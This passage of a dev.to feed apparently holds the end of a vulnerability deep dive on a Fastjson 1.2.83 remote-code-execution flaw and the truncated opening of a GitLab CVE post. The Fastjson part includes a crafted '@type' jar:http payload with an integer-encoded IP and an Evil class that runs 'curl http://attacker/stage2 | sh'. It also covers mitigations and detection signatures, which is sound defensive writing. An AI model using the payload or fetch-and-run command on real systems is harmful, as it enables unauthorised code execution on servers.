&lt;strong&gt;Send the crafted JSON&lt;/strong&gt; — POST &lt;code&gt;{"@type":"jar:http:..3232235876:8080.evil!.Evil"}&lt;/code&gt; to any endpoint that calls &lt;code&gt;JSON.parseObject()&lt;/code&gt; on the body.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Two separate remote fetches&lt;/strong&gt; — &lt;code&gt;checkAutoType()&lt;/code&gt; pulls the class bytes over the network twice: once to inspect them, once to actually load them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;lt;clinit&amp;gt;&lt;/code&gt; fires automatically&lt;/strong&gt; — the moment the JVM defines the class, its static initializer runs and RCE is complete.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  2. Why six rounds of hardening still missed this
&lt;/h2&gt;

&lt;p&gt;Fastjson's &lt;code&gt;ParserConfig.checkAutoType()&lt;/code&gt; has been hardened repeatedly since &lt;code&gt;CVE-2017-18349&lt;/code&gt;: blacklist introduction → FNV-1a rolling-hash upgrade → &lt;code&gt;safeMode&lt;/code&gt; kill switch → &lt;code&gt;expectClass&lt;/code&gt; tightening → the &lt;code&gt;CVE-2022-25845&lt;/code&gt; fix. By 1.2.83 this method was one of the most heavily audited pieces of code in the Java security world.&lt;/p&gt;

&lt;p&gt;Every one of those rounds targeted the same thing: &lt;strong&gt;is the class name in &lt;code&gt;@type&lt;/code&gt; a known dangerous gadget?&lt;/strong&gt; The &lt;code&gt;@JSONType&lt;/code&gt; annotation-trust branch was a different code path entirely — built on the assumption that "the developer put this annotation on their own class, so it's trustworthy." Nobody treated it as untrusted-input surface, because on its face it isn't reading &lt;code&gt;@type&lt;/code&gt; to decide what to instantiate — it's just checking a metadata flag.&lt;/p&gt;

&lt;p&gt;The problem: checking that flag requires fetching the class's bytes, and Fastjson fetches them through the JVM's class loader — which happily resolves &lt;code&gt;jar:http://&lt;/code&gt; URLs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbumscxszx6pab3z0z2dm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbumscxszx6pab3z0z2dm.png" alt=" " width="800" height="552"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first two gates (&lt;code&gt;safeMode&lt;/code&gt;, hash blacklist) are pure &lt;strong&gt;name-shape filters&lt;/strong&gt;. &lt;code&gt;jar:http:..3232235876:8080.evil!.Evil&lt;/code&gt; doesn't resemble a Java class name at all, so both gates pass it straight through. The real vulnerability lives in gates 3 and 4.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Source-level walkthrough
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Gate 3 — the &lt;code&gt;@JSONType&lt;/code&gt; detection branch (the actual bug)
&lt;/h3&gt;

&lt;p&gt;Inside &lt;code&gt;ParserConfig.java&lt;/code&gt; in Fastjson 1.2.83, once a type name clears the blacklist it runs through this logic (reconstructed here for readability, same control flow as the shipped 1.2.83 source):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// com.alibaba.fastjson.parser.ParserConfig#checkAutoType (1.2.83)&lt;/span&gt;

&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;jsonType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nc"&gt;InputStream&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// (A) Convert dotted Java package notation to slash-separated resource path&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;typeName&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;replace&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;'.'&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'/'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;".class"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;defaultClassLoader&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// (B) *** the first remote fetch happens right here ***&lt;/span&gt;
        &lt;span class="c1"&gt;//     if defaultClassLoader is Spring Boot's LaunchedURLClassLoader,&lt;/span&gt;
        &lt;span class="c1"&gt;//     it inherits URLClassLoader.getResourceAsStream() as-is&lt;/span&gt;
        &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;defaultClassLoader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getResourceAsStream&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ParserConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClassLoader&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getResourceAsStream&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// (C) ASM's ClassReader only *parses* bytecode, it never executes it&lt;/span&gt;
        &lt;span class="nc"&gt;ClassReader&lt;/span&gt; &lt;span class="n"&gt;classReader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ClassReader&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;TypeCollector&lt;/span&gt; &lt;span class="n"&gt;visitor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;TypeCollector&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&amp;lt;clinit&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Class&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]);&lt;/span&gt;
        &lt;span class="n"&gt;classReader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;accept&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;visitor&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;jsonType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;visitor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hasJsonType&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;   &lt;span class="c1"&gt;// only checks for @JSONType presence&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// (D) exception is swallowed silently — this enables silent probing&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;IOUtils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;autoTypeSupport&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;jsonType&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;expectClassFlag&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;cacheClass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;autoTypeSupport&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;jsonType&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;// (E) *** the second remote fetch + real class loading happens here ***&lt;/span&gt;
    &lt;span class="n"&gt;clazz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;TypeUtils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadClass&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;typeName&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;defaultClassLoader&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cacheClass&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Point (B) is the actual primitive.&lt;/strong&gt; &lt;code&gt;getResourceAsStream()&lt;/code&gt; sounds like a safe, local-only lookup. But if &lt;code&gt;defaultClassLoader&lt;/code&gt; is a &lt;code&gt;URLClassLoader&lt;/code&gt; (or any subclass, which is exactly what Spring Boot's fat-JAR loader is), that call will happily resolve a &lt;code&gt;jar:http://&lt;/code&gt; scheme, open a real HTTP connection to the attacker's server, and hand back the downloaded bytes. ASM's &lt;code&gt;ClassReader&lt;/code&gt; not executing bytecode is a real safety property — but it only guarantees "we didn't run the class." It says nothing about "we didn't fetch the class from an attacker-controlled host."&lt;/p&gt;

&lt;p&gt;A lot of early write-ups describe this as "load happens before the annotation check" — that's not quite right. It's a &lt;strong&gt;two-stage remote fetch&lt;/strong&gt;: stage one (B–C) safely inspects the bytes without executing them, stage two (E) is the real, JVM-level class load. The attacker only needs stage one to succeed in order to get an outbound connection; once &lt;code&gt;@JSONType&lt;/code&gt; is detected, stage two fires the actual RCE.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Gate 4 — &lt;code&gt;TypeUtils.loadClass()&lt;/code&gt; and &lt;code&gt;&amp;lt;clinit&amp;gt;&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clazz&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jsonType&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;autoTypeSupport&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;TypeUtils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addMapping&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;typeName&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;clazz&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;clazz&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// @JSONType trust branch — skips every ClassLoader /&lt;/span&gt;
                         &lt;span class="c1"&gt;// DataSource / RowSet guard that comes after this point&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;// ... expectClass checks, ClassLoader/DataSource/RowSet guards ...&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By the time &lt;code&gt;return clazz&lt;/code&gt; executes, &lt;strong&gt;the attack is already over&lt;/strong&gt;. Inside &lt;code&gt;TypeUtils.loadClass()&lt;/code&gt;, the call to &lt;code&gt;defaultClassLoader.loadClass()&lt;/code&gt; → &lt;code&gt;defineClass()&lt;/code&gt; triggers the JVM specification's guarantee that a class's &lt;code&gt;&amp;lt;clinit&amp;gt;&lt;/code&gt; (static initializer) runs exactly once, the moment the class is prepared for use. Nothing in Fastjson can opt out of that — it's a JVM-level contract, not an application-level convention.&lt;/p&gt;

&lt;p&gt;The attacker's &lt;code&gt;Evil.class&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Evil&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]{&lt;/span&gt;
                &lt;span class="s"&gt;"/bin/sh"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-c"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"curl http://attacker/stage2 | sh"&lt;/span&gt;
            &lt;span class="o"&gt;});&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nobody instantiates &lt;code&gt;Evil&lt;/code&gt;. Nobody calls a method on it. Nobody even uses the returned &lt;code&gt;Class&amp;lt;?&amp;gt;&lt;/code&gt; object. &lt;strong&gt;Loading the class is the entire attack.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 Integer-IP encoding — surviving the &lt;code&gt;.&lt;/code&gt; → &lt;code&gt;/&lt;/code&gt; transform
&lt;/h3&gt;

&lt;p&gt;Step (A) above, &lt;code&gt;typeName.replace('.', '/')&lt;/code&gt;, exists to turn a normal class name like &lt;code&gt;com.example.Foo&lt;/code&gt; into the resource path &lt;code&gt;com/example/Foo&lt;/code&gt;. Because it's applied to the &lt;em&gt;entire&lt;/em&gt; string, any dot anywhere — including inside a dotted IP address — gets rewritten too.&lt;/p&gt;

&lt;p&gt;A literal &lt;code&gt;192.168.1.100&lt;/code&gt; would turn into the broken URL &lt;code&gt;jar:http://192/168/1/100:8080/evil!/Evil&lt;/code&gt;. So attackers convert the IPv4 address into its 32-bit integer form instead, which contains no dots at all.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3mtlwtr7zqp562vyidl5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3mtlwtr7zqp562vyidl5.png" alt=" " width="800" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The math is straightforward:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(192 &amp;lt;&amp;lt; 24) | (168 &amp;lt;&amp;lt; 16) | (1 &amp;lt;&amp;lt; 8) | 100  =  3232235876
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An integer host has no dots, so it passes through Fastjson's &lt;code&gt;replace()&lt;/code&gt; untouched, and &lt;code&gt;java.net.URL&lt;/code&gt; decodes the integer host back to &lt;code&gt;192.168.1.100&lt;/code&gt; the moment it opens the actual socket. This has been standard JDK behavior since at least Java 1.4 — it isn't a JDK bug, just a side channel that happens to defeat Fastjson's string transform.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.4 Why &lt;code&gt;jar:http://&lt;/code&gt; even works — Spring Boot's &lt;code&gt;LaunchedURLClassLoader&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;jar:&amp;lt;inner-url&amp;gt;!/&amp;lt;entry&amp;gt;&lt;/code&gt; URL scheme is a documented, standard JVM feature. When the inner URL is &lt;code&gt;http://&lt;/code&gt;, the JVM fetches the JAR remotely and extracts the requested entry — a feature that dates back to Java Web Start and applet-era remote class loading.&lt;/p&gt;

&lt;p&gt;Spring Boot's fat-JAR launcher uses &lt;code&gt;LaunchedURLClassLoader&lt;/code&gt;, which directly subclasses &lt;code&gt;URLClassLoader&lt;/code&gt;. It's the default class loader for essentially every &lt;code&gt;java -jar myapp.jar&lt;/code&gt; deployment. When Fastjson calls &lt;code&gt;defaultClassLoader.loadClass("jar:http://3232235876:8080/evil!/Evil")&lt;/code&gt;, the standard &lt;code&gt;URLClassLoader&lt;/code&gt; machinery:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Recognizes the &lt;code&gt;jar:&lt;/code&gt; protocol.&lt;/li&gt;
&lt;li&gt;Extracts the inner URL &lt;code&gt;http://3232235876:8080/evil&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Opens an HTTP connection to that host.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GET&lt;/code&gt;s the JAR.&lt;/li&gt;
&lt;li&gt;Locates the &lt;code&gt;Evil.class&lt;/code&gt; entry inside it.&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;defineClass()&lt;/code&gt; — registering and initializing the class.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Every single step here is standard, documented JVM behavior. Neither Fastjson's design nor Spring Boot's class loader is individually "wrong." The actual defect is that Fastjson passes an attacker-controlled string straight into the class loader without ever asking "does this even look like a plausible Java class name?" A one-line regex whitelist — something like &lt;code&gt;^[a-zA-Z_$][a-zA-Z0-9_$.]*$&lt;/code&gt; — applied before any class-loader call would have closed this entire bug class.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/oI2DaZjfiP0" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Mitigations
&lt;/h2&gt;

&lt;p&gt;There's no patch, so workarounds are the only lever available.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Effect&lt;/th&gt;
&lt;th&gt;Trade-off&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Enable &lt;code&gt;safeMode&lt;/code&gt; (&lt;code&gt;-Dfastjson.parser.safeMode=true&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;checkAutoType()&lt;/code&gt; throws unconditionally at the top of the method — blocks the entire path&lt;/td&gt;
&lt;td&gt;Breaks any legitimate &lt;code&gt;@type&lt;/code&gt;-based polymorphic deserialization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Switch to the &lt;code&gt;1.2.83_noneautotype&lt;/code&gt; artifact&lt;/td&gt;
&lt;td&gt;AutoType is stripped at compile time&lt;/td&gt;
&lt;td&gt;Same functional loss as &lt;code&gt;safeMode&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Migrate to Fastjson2&lt;/td&gt;
&lt;td&gt;Architecturally closes the bug class&lt;/td&gt;
&lt;td&gt;Real migration cost due to API differences&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block outbound network access from the JVM&lt;/td&gt;
&lt;td&gt;The remote fetch simply fails&lt;/td&gt;
&lt;td&gt;Not Fastjson-specific, but generalizes to the next bug in this pattern&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;safeMode&lt;/code&gt; is the only mitigation that's unconditionally effective, because the throw happens at the very top of &lt;code&gt;checkAutoType()&lt;/code&gt; — before gates 3 and 4 are ever reached. Blacklisting the literal string &lt;code&gt;jar:&lt;/code&gt; at the WAF layer is not equivalent: it's trivially defeated by &lt;code&gt;Jar:&lt;/code&gt;, &lt;code&gt;JAR :&lt;/code&gt; (with a space), or alternate inner protocols like &lt;code&gt;jar:https://&lt;/code&gt; or &lt;code&gt;jar:ftp://&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Fastjson2 renamed the entry point entirely, to &lt;code&gt;ObjectReaderProvider.autoType()&lt;/code&gt;. It checks an allowlist of known types &lt;em&gt;before&lt;/em&gt; ever touching the class loader, and rejects anything not on it — so there's no remote-fetch primitive reachable from an untrusted &lt;code&gt;@type&lt;/code&gt; value in the first place.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Detection signatures
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Wire-level&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Request bodies containing &lt;code&gt;"@type":"jar:&lt;/code&gt; in any casing or protocol variant (&lt;code&gt;jar:http&lt;/code&gt;, &lt;code&gt;jar:https&lt;/code&gt;, &lt;code&gt;jar:ftp&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;An &lt;code&gt;@type&lt;/code&gt; value whose "host" segment is a long run of digits followed by &lt;code&gt;:port&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;An &lt;code&gt;@type&lt;/code&gt; value containing a double dot (&lt;code&gt;..&lt;/code&gt;) — a strong signal of integer-IP encoding&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Host-level&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Outbound HTTP &lt;code&gt;GET&lt;/code&gt; requests for &lt;code&gt;.jar&lt;/code&gt; or &lt;code&gt;.class&lt;/code&gt; files to unexpected destinations&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Runtime.exec()&lt;/code&gt;-spawned child processes with a &lt;code&gt;java&lt;/code&gt;/&lt;code&gt;jre&lt;/code&gt; parent&lt;/li&gt;
&lt;li&gt;New files appearing in &lt;code&gt;/tmp&lt;/code&gt; (or the platform temp dir) within seconds of an inbound HTTP request&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your egress monitoring sees the first fetch (&lt;code&gt;getResourceAsStream&lt;/code&gt;) but not the second (&lt;code&gt;loadClass&lt;/code&gt;), that's a strong signal of reconnaissance — an attacker confirming the path is reachable without delivering a real payload yet.&lt;/p&gt;

</description>
      <category>java</category>
      <category>javascript</category>
      <category>ubuntu</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-85706 Deep Dive — GitLab Repository Commits API Auth Bypass Leads to Unauthenticated Arbitrary File Read (CVSS 10.0)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Tue, 15 Sep 2026 00:52:05 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-85706-deep-dive-gitlab-repository-commits-api-auth-bypass-leads-to-unauthenticated-3d2b</link>
      <guid>https://dev.to/guidance_white/cve-2026-85706-deep-dive-gitlab-repository-commits-api-auth-bypass-leads-to-unauthenticated-3d2b</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F490dr3ujez8bib7928js.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F490dr3ujez8bib7928js.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;CVE-2026-85706&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target&lt;/td&gt;
&lt;td&gt;GitLab CE/EE (self-managed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;10.0 (Critical)&lt;/strong&gt; — &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-22 (Path Traversal), CWE-35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;18.7–19.1.7, 19.2.0–19.2.5, 19.3.0–19.3.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
